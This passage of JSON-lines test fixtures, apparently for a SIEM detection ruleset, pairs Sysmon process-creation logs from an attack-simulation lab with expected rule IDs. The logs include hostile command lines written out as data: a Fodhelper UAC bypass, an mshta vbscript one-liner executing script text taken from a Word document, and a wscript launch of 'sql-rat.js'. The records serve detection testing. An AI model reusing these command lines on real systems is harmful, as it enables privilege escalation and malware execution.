"C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\smrs.exe", "win.eventdata.integrityLevel": "High", "win.eventdata.logonGuid": "{4dc16835-face-6140-b05f-3d0000000000}", "win.eventdata.logonId": "0x3d5fb0", "win.eventdata.originalFileName": "calc.exe", "win.eventdata.parentCommandLine": "\\\"cmd.exe\\\" /C C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\smrs.exe > C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\MGsCOxPSNK.txt", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\cmd.exe", "win.eventdata.parentProcessGuid": "{4dc16835-052b-6141-b91c-ea0000000000}", "win.eventdata.parentProcessId": "3348", "win.eventdata.processGuid": "{4dc16835-052b-6141-bc2f-ea0000000000}", "win.eventdata.processId": "6004", "win.eventdata.product": "EVALS CALC", "win.eventdata.ruleName": "technique_id=T1059,technique_name=Command-Line Interface", "win.eventdata.terminalSessionId": "2", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2021-09-14 20:25:15.285", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "360653", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2664", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-09-14T20:25:15.3105073Z", "win.system.task": "1", "win.system.threadID": "3756", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92032", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Suspicious windows cmd shell execution"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"Cmd.Exe\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\",\"product\":\"Microsoft® Windows® Operating System\",\"parentProcessGuid\":\"{4dc16835-0127-6141-4fd9-de0000000000}\",\"description\":\"Windows Command Processor\",\"logonGuid\":\"{4dc16835-face-6140-b05f-3d0000000000}\",\"parentCommandLine\":\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\fodhelper.exe\\\\\\\"\",\"processGuid\":\"{4dc16835-0127-6141-68f0-de0000000000}\",\"logonId\":\"0x3d5fb0\",\"parentProcessId\":\"6072\",\"processId\":\"5336\",\"currentDirectory\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\Downloads\\\\\\\\\",\"utcTime\":\"2021-09-14 20:08:07.789\",\"hashes\":\"SHA1=F1EFB0FDDC156E4C61C5F78A54700E4E7984D55D,MD5=8A2122E8162DBEF04694B9C3E0B6CDEE,SHA256=B99D61D874728EDC0918CA0EB10EAB93D381E7367E377406E65963366C874450,IMPHASH=272245E2988E1E430500B852C4FB5E18\",\"parentImage\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\fodhelper.exe\",\"ruleName\":\"technique_id=T1548.002,technique_name=Bypass User Access Control\",\"company\":\"Microsoft Corporation\",\"commandLine\":\"\\\\\\\"cmd.exe\\\\\\\" /C C:\\\\\\\\Users\\\\\\\\kmitnick.FINANCIAL\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\TransbaseOdbcDriver\\\\\\\\smrs.exe > C:\\\\\\\\Users\\\\\\\\kmitnick.financial\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\TransbaseOdbcDriver\\\\\\\\MGsCOxPSNK.txt\",\"integrityLevel\":\"High\",\"fileVersion\":\"10.0.19041.746 (WinBuild.160101.0800)\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"terminalSessionId\":\"2\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1548.002,technique_name=Bypass User Access Control\\r\\nUtcTime: 2021-09-14 20:08:07.789\\r\\nProcessGuid: {4dc16835-0127-6141-68f0-de0000000000}\\r\\nProcessId: 5336\\r\\nImage: C:\\\\Windows\\\\System32\\\\cmd.exe\\r\\nFileVersion: 10.0.19041.746 (WinBuild.160101.0800)\\r\\nDescription: Windows Command Processor\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: Cmd.Exe\\r\\nCommandLine: \\\"cmd.exe\\\" /C C:\\\\Users\\\\kmitnick.FINANCIAL\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\smrs.exe > C:\\\\Users\\\\kmitnick.financial\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\MGsCOxPSNK.txt\\r\\nCurrentDirectory: C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nLogonGuid: {4dc16835-face-6140-b05f-3d0000000000}\\r\\nLogonId: 0x3D5FB0\\r\\nTerminalSessionId: 2\\r\\nIntegrityLevel: High\\r\\nHashes: SHA1=F1EFB0FDDC156E4C61C5F78A54700E4E7984D55D,MD5=8A2122E8162DBEF04694B9C3E0B6CDEE,SHA256=B99D61D874728EDC0918CA0EB10EAB93D381E7367E377406E65963366C874450,IMPHASH=272245E2988E1E430500B852C4FB5E18\\r\\nParentProcessGuid: {4dc16835-0127-6141-4fd9-de0000000000}\\r\\nParentProcessId: 6072\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\fodhelper.exe\\r\\nParentCommandLine: \\\"C:\\\\Windows\\\\system32\\\\fodhelper.exe\\\" \\\"\",\"version\":\"5\",\"systemTime\":\"2021-09-14T20:08:07.7990760Z\",\"eventRecordID\":\"360362\",\"threadID\":\"3756\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2664\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "\\\"cmd.exe\\\" /C C:\\\\Users\\\\kmitnick.FINANCIAL\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\smrs.exe > C:\\\\Users\\\\kmitnick.financial\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\MGsCOxPSNK.txt", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\", "win.eventdata.description": "Windows Command Processor", "win.eventdata.fileVersion": "10.0.19041.746 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=F1EFB0FDDC156E4C61C5F78A54700E4E7984D55D,MD5=8A2122E8162DBEF04694B9C3E0B6CDEE,SHA256=B99D61D874728EDC0918CA0EB10EAB93D381E7367E377406E65963366C874450,IMPHASH=272245E2988E1E430500B852C4FB5E18", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\cmd.exe", "win.eventdata.integrityLevel": "High", "win.eventdata.logonGuid": "{4dc16835-face-6140-b05f-3d0000000000}", "win.eventdata.logonId": "0x3d5fb0", "win.eventdata.originalFileName": "Cmd.Exe", "win.eventdata.parentCommandLine": "\\\"C:\\\\Windows\\\\system32\\\\fodhelper.exe\\\"", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\fodhelper.exe", "win.eventdata.parentProcessGuid": "{4dc16835-0127-6141-4fd9-de0000000000}", "win.eventdata.parentProcessId": "6072", "win.eventdata.processGuid": "{4dc16835-0127-6141-68f0-de0000000000}", "win.eventdata.processId": "5336", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1548.002,technique_name=Bypass User Access Control", "win.eventdata.terminalSessionId": "2", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2021-09-14 20:08:07.789", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "360362", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2664", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-09-14T20:08:07.7990760Z", "win.system.task": "1", "win.system.threadID": "3756", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92046", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Fodhelper UAC bypass"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"MSHTA.EXE\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\SysWOW64\\\\\\\\mshta.exe\",\"product\":\"Internet Explorer\",\"parentProcessGuid\":\"{4dc16835-8cd1-614b-1585-cc0000000000}\",\"description\":\"Microsoft (R) HTML Application host\",\"logonGuid\":\"{4dc16835-7259-614b-a2b6-1b0000000000}\",\"parentCommandLine\":\"\\\\\\\"C:\\\\\\\\Program Files (x86)\\\\\\\\Microsoft Office\\\\\\\\Root\\\\\\\\Office16\\\\\\\\WINWORD.EXE\\\\\\\" /n \\\\\\\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\Desktop\\\\\\\\2-list.rtf\\\\\\\" /o \\\\\\\"\\\\\\\"\",\"processGuid\":\"{4dc16835-8cdf-614b-90f6-cf0000000000}\",\"logonId\":\"0x1bb6a2\",\"parentProcessId\":\"8108\",\"processId\":\"7736\",\"currentDirectory\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\Desktop\\\\\\\\\",\"utcTime\":\"2021-09-22 20:06:55.823\",\"hashes\":\"SHA1=089B8363EB686C8D055EC2C4E5899FDD450EF77D,MD5=06B02D5C097C7DB1F109749C45F3F505,SHA256=213AB5658E44F2A111C5E4CFFA043660BC49307EBB1B7EEDD21DBDDCA5DA41AC,IMPHASH=EE4E4A67C3E30B424AA8A1C9C579181F\",\"parentImage\":\"C:\\\\\\\\Program Files (x86)\\\\\\\\Microsoft Office\\\\\\\\root\\\\\\\\Office16\\\\\\\\WINWORD.EXE\",\"ruleName\":\"technique_id=T1170,technique_name=Mshta\",\"company\":\"Microsoft Corporation\",\"commandLine\":\"C:\\\\\\\\Windows\\\\\\\\SysWOW64\\\\\\\\mshta.exe vbscript:Execute(\\\\\\\"On Error Resume Next:set w=GetObject(,\\\\\\\"\\\\\\\"Wor\\\\\\\"\\\\\\\"+\\\\\\\"\\\\\\\"d.Application\\\\\\\"\\\\\\\"):execute w.ActiveDocument.Shapes(3).TextFrame.TextRange.Text:close\\\\\\\")\",\"integrityLevel\":\"Medium\",\"fileVersion\":\"11.00.19041.1 (WinBuild.160101.0800)\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"terminalSessionId\":\"1\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1170,technique_name=Mshta\\r\\nUtcTime: 2021-09-22 20:06:55.823\\r\\nProcessGuid: {4dc16835-8cdf-614b-90f6-cf0000000000}\\r\\nProcessId: 7736\\r\\nImage: C:\\\\Windows\\\\SysWOW64\\\\mshta.exe\\r\\nFileVersion: 11.00.19041.1 (WinBuild.160101.0800)\\r\\nDescription: Microsoft (R) HTML Application host\\r\\nProduct: Internet Explorer\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: MSHTA.EXE\\r\\nCommandLine: C:\\\\Windows\\\\SysWOW64\\\\mshta.exe vbscript:Execute(\\\"On Error Resume Next:set w=GetObject(,\\\"\\\"Wor\\\"\\\"+\\\"\\\"d.Application\\\"\\\"):execute w.ActiveDocument.Shapes(3).TextFrame.TextRange.Text:close\\\")\\r\\nCurrentDirectory: C:\\\\Users\\\\AtomicRed\\\\Desktop\\\\\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nLogonGuid: {4dc16835-7259-614b-a2b6-1b0000000000}\\r\\nLogonId: 0x1BB6A2\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: Medium\\r\\nHashes: SHA1=089B8363EB686C8D055EC2C4E5899FDD450EF77D,MD5=06B02D5C097C7DB1F109749C45F3F505,SHA256=213AB5658E44F2A111C5E4CFFA043660BC49307EBB1B7EEDD21DBDDCA5DA41AC,IMPHASH=EE4E4A67C3E30B424AA8A1C9C579181F\\r\\nParentProcessGuid: {4dc16835-8cd1-614b-1585-cc0000000000}\\r\\nParentProcessId: 8108\\r\\nParentImage: C:\\\\Program Files (x86)\\\\Microsoft Office\\\\root\\\\Office16\\\\WINWORD.EXE\\r\\nParentCommandLine: \\\"C:\\\\Program Files (x86)\\\\Microsoft Office\\\\Root\\\\Office16\\\\WINWORD.EXE\\\" /n \\\"C:\\\\Users\\\\AtomicRed\\\\Desktop\\\\2-list.rtf\\\" /o \\\"\\\"\\\"\",\"version\":\"5\",\"systemTime\":\"2021-09-22T20:06:55.8265758Z\",\"eventRecordID\":\"385167\",\"threadID\":\"3560\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2736\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "C:\\\\Windows\\\\SysWOW64\\\\mshta.exe vbscript:Execute(\\\"On Error Resume Next:set w=GetObject(,\\\"\\\"Wor\\\"\\\"+\\\"\\\"d.Application\\\"\\\"):execute w.ActiveDocument.Shapes(3).TextFrame.TextRange.Text:close\\\")", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Users\\\\AtomicRed\\\\Desktop\\\\", "win.eventdata.description": "Microsoft (R) HTML Application host", "win.eventdata.fileVersion": "11.00.19041.1 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=089B8363EB686C8D055EC2C4E5899FDD450EF77D,MD5=06B02D5C097C7DB1F109749C45F3F505,SHA256=213AB5658E44F2A111C5E4CFFA043660BC49307EBB1B7EEDD21DBDDCA5DA41AC,IMPHASH=EE4E4A67C3E30B424AA8A1C9C579181F", "win.eventdata.image": "C:\\\\Windows\\\\SysWOW64\\\\mshta.exe", "win.eventdata.integrityLevel": "Medium", "win.eventdata.logonGuid": "{4dc16835-7259-614b-a2b6-1b0000000000}", "win.eventdata.logonId": "0x1bb6a2", "win.eventdata.originalFileName": "MSHTA.EXE", "win.eventdata.parentCommandLine": "\\\"C:\\\\Program Files (x86)\\\\Microsoft Office\\\\Root\\\\Office16\\\\WINWORD.EXE\\\" /n \\\"C:\\\\Users\\\\AtomicRed\\\\Desktop\\\\2-list.rtf\\\" /o \\\"\\\"", "win.eventdata.parentImage": "C:\\\\Program Files (x86)\\\\Microsoft Office\\\\root\\\\Office16\\\\WINWORD.EXE", "win.eventdata.parentProcessGuid": "{4dc16835-8cd1-614b-1585-cc0000000000}", "win.eventdata.parentProcessId": "8108", "win.eventdata.processGuid": "{4dc16835-8cdf-614b-90f6-cf0000000000}", "win.eventdata.processId": "7736", "win.eventdata.product": "Internet Explorer", "win.eventdata.ruleName": "technique_id=T1170,technique_name=Mshta", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2021-09-22 20:06:55.823", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "385167", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2736", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-09-22T20:06:55.8265758Z", "win.system.task": "1", "win.system.threadID": "3560", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "1002", "level": "2", "expected_decoder": "json", "expected_rule": "92048", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Word mshta execution"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"verclsid.exe\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\SysWOW64\\\\\\\\verclsid.exe\",\"product\":\"Microsoft® Windows® Operating System\",\"parentProcessGuid\":\"{4dc16835-8cd1-614b-1585-cc0000000000}\",\"description\":\"Extension CLSID Verification Host\",\"logonGuid\":\"{4dc16835-7259-614b-a2b6-1b0000000000}\",\"parentCommandLine\":\"\\\\\\\"C:\\\\\\\\Program Files (x86)\\\\\\\\Microsoft Office\\\\\\\\Root\\\\\\\\Office16\\\\\\\\WINWORD.EXE\\\\\\\" /n \\\\\\\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\Desktop\\\\\\\\2-list.rtf\\\\\\\" /o \\\\\\\"\\\\\\\"\",\"processGuid\":\"{4dc16835-8cdb-614b-2719-ce0000000000}\",\"logonId\":\"0x1bb6a2\",\"parentProcessId\":\"8108\",\"processId\":\"6408\",\"currentDirectory\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\Desktop\\\\\\\\\",\"utcTime\":\"2021-09-22 20:06:51.238\",\"hashes\":\"SHA1=A2C097DB996DCAB5AC01D11DF4DDEEBC7D0F04B6,MD5=190A347DF06F8486F193ADA0E90B49C5,SHA256=5F6FD0BC72EB2E71918241213E97DCD8FD0DE2887A36BE58B769E8C5A4FF8598,IMPHASH=BDC7940F5DE0DB2F5978F34E0BD82FF0\",\"parentImage\":\"C:\\\\\\\\Program Files (x86)\\\\\\\\Microsoft Office\\\\\\\\root\\\\\\\\Office16\\\\\\\\WINWORD.EXE\",\"ruleName\":\"technique_id=T1218,technique_name=Signed Binary Proxy Execution\",\"company\":\"Microsoft Corporation\",\"commandLine\":\"C:\\\\\\\\Windows\\\\\\\\SysWOW64\\\\\\\\verclsid.exe /S /C {00021401-0000-0000-C000-000000000046} /I {00000112-0000-0000-C000-000000000046} /X 0x5\",\"integrityLevel\":\"Medium\",\"fileVersion\":\"10.0.19041.1 (WinBuild.160101.0800)\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"terminalSessionId\":\"1\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1218,technique_name=Signed Binary Proxy Execution\\r\\nUtcTime: 2021-09-22 20:06:51.238\\r\\nProcessGuid: {4dc16835-8cdb-614b-2719-ce0000000000}\\r\\nProcessId: 6408\\r\\nImage: C:\\\\Windows\\\\SysWOW64\\\\verclsid.exe\\r\\nFileVersion: 10.0.19041.1 (WinBuild.160101.0800)\\r\\nDescription: Extension CLSID Verification Host\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: verclsid.exe\\r\\nCommandLine: C:\\\\Windows\\\\SysWOW64\\\\verclsid.exe /S /C {00021401-0000-0000-C000-000000000046} /I {00000112-0000-0000-C000-000000000046} /X 0x5\\r\\nCurrentDirectory: C:\\\\Users\\\\AtomicRed\\\\Desktop\\\\\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nLogonGuid: {4dc16835-7259-614b-a2b6-1b0000000000}\\r\\nLogonId: 0x1BB6A2\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: Medium\\r\\nHashes: SHA1=A2C097DB996DCAB5AC01D11DF4DDEEBC7D0F04B6,MD5=190A347DF06F8486F193ADA0E90B49C5,SHA256=5F6FD0BC72EB2E71918241213E97DCD8FD0DE2887A36BE58B769E8C5A4FF8598,IMPHASH=BDC7940F5DE0DB2F5978F34E0BD82FF0\\r\\nParentProcessGuid: {4dc16835-8cd1-614b-1585-cc0000000000}\\r\\nParentProcessId: 8108\\r\\nParentImage: C:\\\\Program Files (x86)\\\\Microsoft Office\\\\root\\\\Office16\\\\WINWORD.EXE\\r\\nParentCommandLine: \\\"C:\\\\Program Files (x86)\\\\Microsoft Office\\\\Root\\\\Office16\\\\WINWORD.EXE\\\" /n \\\"C:\\\\Users\\\\AtomicRed\\\\Desktop\\\\2-list.rtf\\\" /o \\\"\\\"\\\"\",\"version\":\"5\",\"systemTime\":\"2021-09-22T20:06:51.2507253Z\",\"eventRecordID\":\"385146\",\"threadID\":\"3560\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2736\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "C:\\\\Windows\\\\SysWOW64\\\\verclsid.exe /S /C {00021401-0000-0000-C000-000000000046} /I {00000112-0000-0000-C000-000000000046} /X 0x5", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Users\\\\AtomicRed\\\\Desktop\\\\", "win.eventdata.description": "Extension CLSID Verification Host", "win.eventdata.fileVersion": "10.0.19041.1 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=A2C097DB996DCAB5AC01D11DF4DDEEBC7D0F04B6,MD5=190A347DF06F8486F193ADA0E90B49C5,SHA256=5F6FD0BC72EB2E71918241213E97DCD8FD0DE2887A36BE58B769E8C5A4FF8598,IMPHASH=BDC7940F5DE0DB2F5978F34E0BD82FF0", "win.eventdata.image": "C:\\\\Windows\\\\SysWOW64\\\\verclsid.exe", "win.eventdata.integrityLevel": "Medium", "win.eventdata.logonGuid": "{4dc16835-7259-614b-a2b6-1b0000000000}", "win.eventdata.logonId": "0x1bb6a2", "win.eventdata.originalFileName": "verclsid.exe", "win.eventdata.parentCommandLine": "\\\"C:\\\\Program Files (x86)\\\\Microsoft Office\\\\Root\\\\Office16\\\\WINWORD.EXE\\\" /n \\\"C:\\\\Users\\\\AtomicRed\\\\Desktop\\\\2-list.rtf\\\" /o \\\"\\\"", "win.eventdata.parentImage": "C:\\\\Program Files (x86)\\\\Microsoft Office\\\\root\\\\Office16\\\\WINWORD.EXE", "win.eventdata.parentProcessGuid": "{4dc16835-8cd1-614b-1585-cc0000000000}", "win.eventdata.parentProcessId": "8108", "win.eventdata.processGuid": "{4dc16835-8cdb-614b-2719-ce0000000000}", "win.eventdata.processId": "6408", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1218,technique_name=Signed Binary Proxy Execution", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2021-09-22 20:06:51.238", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "385146", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2736", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-09-22T20:06:51.2507253Z", "win.system.task": "1", "win.system.threadID": "3560", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92050", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Office application invoked Verclsid.exe"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"wscript.exe\",\"image\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Local\\\\\\\\adb156.exe\",\"product\":\"Microsoft ® Windows Script Host\",\"parentProcessGuid\":\"{00000000-0000-0000-0000-000000000000}\",\"description\":\"Microsoft ® Windows Based Script Host\",\"logonGuid\":\"{4dc16835-7259-614b-a2b6-1b0000000000}\",\"processGuid\":\"{4dc16835-8e0d-614b-1d56-d70000000000}\",\"logonId\":\"0x1bb6a2\",\"parentProcessId\":\"492\",\"processId\":\"2284\",\"currentDirectory\":\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\\",\"utcTime\":\"2021-09-22 20:11:57.014\",\"hashes\":\"SHA1=C2326CC50A739D3BC512BB65A24D42F1CDE745C9,MD5=FF00E0480075B095948000BDC66E81F0,SHA256=8C767077BB410F95B1DB237B31F4F6E1512C78C1F0120DE3F215B501F6D1C7EA,IMPHASH=3602F3C025378F418F804C5D183603FE\",\"ruleName\":\"technique_id=T1202,technique_name=Indirect Command Execution\",\"company\":\"Microsoft Corporation\",\"commandLine\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Local\\\\\\\\adb156.exe /b /e:jscript C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Local\\\\\\\\sql-rat.js\",\"integrityLevel\":\"Medium\",\"fileVersion\":\"5.812.10240.16384\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"terminalSessionId\":\"1\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1202,technique_name=Indirect Command Execution\\r\\nUtcTime: 2021-09-22 20:11:57.014\\r\\nProcessGuid: {4dc16835-8e0d-614b-1d56-d70000000000}\\r\\nProcessId: 2284\\r\\nImage: C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\adb156.exe\\r\\nFileVersion: 5.812.10240.16384\\r\\nDescription: 